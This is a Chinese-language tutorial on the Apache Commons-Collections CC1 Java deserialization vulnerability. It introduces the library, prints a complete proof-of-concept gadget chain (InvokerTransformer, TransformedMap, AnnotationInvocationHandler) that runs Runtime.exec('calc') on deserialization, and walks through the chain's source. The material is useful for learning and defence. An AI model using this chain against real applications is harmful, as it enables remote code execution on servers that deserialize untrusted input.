Commons-Collections (CC1)反序列化漏洞
文章目录
Commons-Collections介绍
Commons-Collections是一个开源的Java集合框架,它提供了一组可重用的集合接口、实现和工具类,以帮助开发人员更方便地操作和处理数据集合。
Commons-Collections提供了一些常见集合的实现,包括List、Set、Map等。这些实现类提供了丰富的功能和方法,能够满足不同的使用需求。另外,Commons-Collections还提供了一些特殊的集合类,如BidiMap(双向映射)、MultiMap(多值映射)等,可以更方便地处理一些复杂的数据结构。
除了集合实现,Commons-Collections还提供了一些工具类,用于操作和处理集合数据。这些工具类包括CollectionUtils、MapUtils、ListUtils等,提供了一些常用的集合操作方法,如查找、过滤、排序等,能够帮助开发人员更快速地完成集合操作。
Commons-Collections(cc1)反序列化漏洞PayLoad
package com.aqn.core;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
//Runtime r = Runtime.getRuntime();
/* Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");*/
/* Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
//InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value","bbb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
/* for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(Runtime.class);
}*/
//AnnotationInvocationHandler
/* Reader*/
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
原理解析
invokeTransformer的任意方法反射调用
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
...
以及
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
以上部分是输入的 iMethodName , iParamTypes, iArgs 都是我们可以控制的参数。通过控制InvokerTransformer.transform()函数可以调用任何方法。
InvokerTransformer Transformer=new InvokerTransformer.transform(方法名,参数类型,调用方法的参数值)
调用Transform方法的checkSetValue方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
通过decorate()方法实例化TransformedMap类,通过TransformedMap.decorate()方法使用上面的InvokerTransformer.transform()来调用任意方法。
AbstractInputCheckedMapDecorator的MapEntry.setValue()调用checkSetValue()方法
通过对AbstractInputCheckedMapDecorator类的遍历触发MapEntry.setValue()方法,使其调用checkSetValue()执行任意方法。
查找readObject()
AnnotationInvocationHandler类里面有readObject(),定位到memberValue可以控制,那么可以使用memberValue反射调用AbstractInputCheckedMapDecorator类。